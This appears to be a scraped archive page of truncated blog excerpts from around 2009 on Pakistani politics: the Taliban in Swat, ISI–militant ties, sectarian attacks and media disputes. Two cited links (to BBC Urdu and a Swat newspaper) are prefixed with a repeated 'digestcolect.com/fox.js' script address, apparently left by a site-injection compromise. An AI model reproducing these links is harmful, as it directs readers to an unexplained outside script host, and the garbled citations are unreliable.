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An appeal to the Chief Justice of Pakistan: By Sarah Khan An appeal to the Chief Justice of Pakistan Apply Article 6 of the Constitution on Dr Shahid Masood, Shaheen Sehbai, Ansar Abbasi, their other accomplices, and owners of Geo TV/ Jang Group. According to the constitution
An appeal to the Chief Justice of Pakistan: By Sarah Khan An appeal to the Chief Justice of Pakistan Apply Article 6 of the Constitution on Dr Shahid Masood, Shaheen Sehbai, Ansar Abbasi, their other accomplices, and owners of Geo TV/ Jang Group.According to the constitution of
The Ziaist Taliban versus Professional ISI: We, the people of Pakistan, notwithstanding our political, religious or ethnic affiliations, wholeheartedly support the professional commitment expressed by Pakistan Army and its intelligence wing (ISI) in rooting out the remnants of General Zia, i.e. jihadi and sectarian terrorists
Beware of the unholy nexus of civil and military establishment in Pakistan: A fine mess what, gentlemen By Kamran Shafi Tuesday, 27 Oct, 2009 Interior Minister Rehman Malik, left, talks to his Iranian counterpart Mostafa Mohammad Najjar during their meeting in
Love life at LUMS: Does that represent Pakistani culture?: To Love or Not to Love Tajwar Tashfin Awan Sep 11 2009 Dear All I have been reduced to throw this out there because of what i have been witnessing in Lums for around a month now. What has
SOS: Who will save the anti-Taliban Salarzai tribes from the Taliban? – Farhat Taj: The Mullah-Military Alliance seems to be very much alive and thriving in Pakistan. The Taliban and Salarzais Sunday, September 27, 2009 (The News) Farhat TajI was in Pakistan in August and had the opportunity to meet the leaders of
Pakistan’s Foreign Office: a subsidiary of ISI: BBC Urdu dot com: Pakistan’s Foreign Office has always been a subsidiary of ISI پاکستانی وزارتِ خارجہ: طفیلی ادارہ! بیورو رپورٹ اسلام آباد بے نظیر بھٹو اور نواز شریف نہ صرف بھارت سےبہتر تعلقات بلکہ افغان صورتحال سے بھی
Dr A Q Khan, a careless neglect?: Careless neglect? Monday, August 24, 2009 This is with reference to Dr A Q Khan’s column “Science of computers — part I” which appeared in your pages on Aug 19.1. Dr Khan writes: “The computer is an essential part
This is how Taliban and Army colluded to terrorize progressive Pashtuns of Swat: ’فوج مدد کرتی توماں، شوہر، بیٹا زندہ ہوتے‘ عبدالحئی کاکڑ بی بی سی اردو ڈاٹ کام، پشاور ’فوج کو خبر ہونے تک طالبان گھر کا محاصرہ کر چکے تھے‘ پاکستان کے قبائلی علاقوں اور صوبہ سرحد میں پچھلے کئی
BBC Report: Taliban Control 70% of Pakistan’s NWF Province.: Pakistan conflict map BBC Report Research by the BBC Urdu’s service into the growing strength of Taleban militants in north western Pakistan shows that only 38% of the area remains under full government control. This map of the area
Who is funding Taliban in Swat through emerald mines?: Taliban take over Swat’s emerald mines The Taliban take one-third of the yield from all miners and the costs are shared equally by the Taliban and the miners. – Reuters/File photo. TALIBAN in Swat have taken over emerald mines
Why do Taliban (and their supporters) attack secualr Pashtuns?: US responsible for the situation in Pakistan Irfan Khan Momand UK irfan188@hotmail.com Source: “FRONTIER POST” FEB.12, 2008 The recent suicide attack on Awami national Party rally in Charsadda was certainly a very shameful act. We condemned this suicide attack
Peace deal in Swat – An Analysis: تعميرپاکستان Here are my two cents in regards to the current situation in Swat:
The newly forged Taliban alliance in Waziristan against the war on terror: Top militant commanders resolve rift Saturday, February 21, 2009 By Mushtaq Yusufzai Mullah Nazir Baitullah Mehsud PESHAWAR: In a dramatic development, three prominent Pakistani militant commanders — Baitullah Mehsud, Hafiz Gul Bahadur and Maulvi Nazeer ñ on Friday set
Mr. Holbrooke, you got it right. Pakistan’s No. 1 challenge is to control rogue elements: Internal divisions? Saturday, February 21, 2009 In his first detailed comment on the situation in Pakistan after his recent fact-finding and get-to-know mission, Special Envoy of President Obama, Richard Holbrooke has revealed more than anyone in Pakistan could have
SOS from D.I.Khan: Save Shia Muslims from terrorists of Taliban and Sipah-e-Sahaba: Why has Police and Army failed to protect Shias in D.I. Khan? Since the State of Pakistan has failed to protect innocent Shias in D. I. Khan, we request the international community, human rights groups, and the United
Army as victim? – An analysis of Musharraf’s concerns: Ex-President and General (Retd) Pervez Musharraf said on Monday that “there is a global conspiracy to malign the armed forces and the Inter-Services Intelligence (ISI) in an attempt to weaken Pakistan”. He was responding to allegations levelled in a
Sufi Muhammad rules Swat: Sufi Muhammad-led Peace March kicks off in Swat Updated at: 1035 PST, Wednesday, February 18, 2009 SWAT: Tahrik-e-Nifaz Shariat Muhammadi (TNSM) Peace March led by its chief, Maulana Sufi Muhammad has kicked off here. Sources said that a large
Shariat peace deal in Swat and other aspects of the Talibanisation: Nizam-e-adl: what next for the Taliban? Tuesday, February 17, 2009 Asad Munir Only time will tell whether the peace deal signed in Swat bears fruit and brings lasting peace to the valley. In this regard, however, it may be
So, Pakistan does not have technology to jam an illegal FM radio station in Swat?: BBC Urdu dot com: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/02/090210_swat_fm_radio_sz.shtml A relevant comment: Ghost Of TK said: The mystery of illegal FM transmitters in FATA. I wonder how “Pak” Fauj will react once the “Islamic Emirate of Seraikistan” starts its FM transmissions
Mr. Holbrooke, in order to understand the situation in Pakistan, you need to have a grip on the Mullah-Military Alliance in Swat….: A dangerous trend — Talimand Khan Why has the security apparatus failed to cut the militants’ supply lines; how come random journalists can talk to Fazlullah but security forces are unable to track him down; and if the state’s
Taliban high court extending writ to Dir: Taliban high court extending writ to Dir Sunday, February 08, 2009By Ikram Hoti CHAKDARA: The Taliban have set up their high court in Kabal Tehsil of Swat, which is fast extending its writ to this town and other parts
Taliban torch 10 NATO supply trucks: Taliban torch 10 NATO supply trucks * Alternate route opened in Khyber * Security camp attacked in Landikotal By Sajid Ali and Sudhir Ahmad Afridi JAMRUD/LANDIKOTAL: Army engineers on Wednesday built a temporary alternate route for traffic, including NATO
Ban announces UN commission on Benazir’s murder: Can we hope to see criminals such as Hamid Gul, Baitullah Mehsud and other supporters/leaders of Taliban and Al Qaeda soon in a court of law? Ban announces UN commission on Benazir’s murder * Chile’s UN Ambassador Heraldo Muñoz
Taliban’s strategy of kidnapping in Pakistan: Terrorism’s strategy of kidnapping The Balochistan head of the United Nations High Commission for Refugees (UNHCR), John Solecki, was kidnapped on Monday when he was going unguarded in his car to his office in Chaman in Balochistan. Mr Solecki
One killed in DIK mosque blast: PESHAWAR: One man was killed and 18 others injured in a hand grenade attack on a Sunni mosque at Mohallah Joginwala in Dera Ismail Khan district on Tuesday evening, police said. The attacker hurled the hand grenade at the
Pakistan’s eight points for Holbrooke – How to restore peace in Afghanistan and FATA: Wednesday, February 04, 2009 Nasim Zehra The writer is an Islamabad-based security analyst Speaking in Washington to a conference sponsored by the Reserve Officers Association on Monday, Chairman of the Joint Chief of Staff Admiral Mike Mullen said, “I
Al Jazeera report on Swat: 2 Febaruary 2009: AlJazeera English The Swat Valley is an area few journalists are able to operate in and it appears that despite the presence of thousands of extra Pakistani troops the Taliban remain firmly in control. Policemen have been beheaded in
A Swati journalist writes an open lettter / appeal to Mullah Fazlullah: The writ of the state? ISI-Taliban Alliance? No Comments…
A Swati journalist writes an open lettter / appeal to Mullah Fazlullah: The writ of the state? ISI-Taliban Alliance? No Comments… http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.dailyazadiswat.com/news/details.php?news_id=2855&sessionid=ea09ef65e331ebc4a3215fc75f76eeab Also, you may wish to read the following op-ed describing how ISI/Pakistan Army allowed Mullah Fazlullah to regroup and train his Talibans in the Peochar region.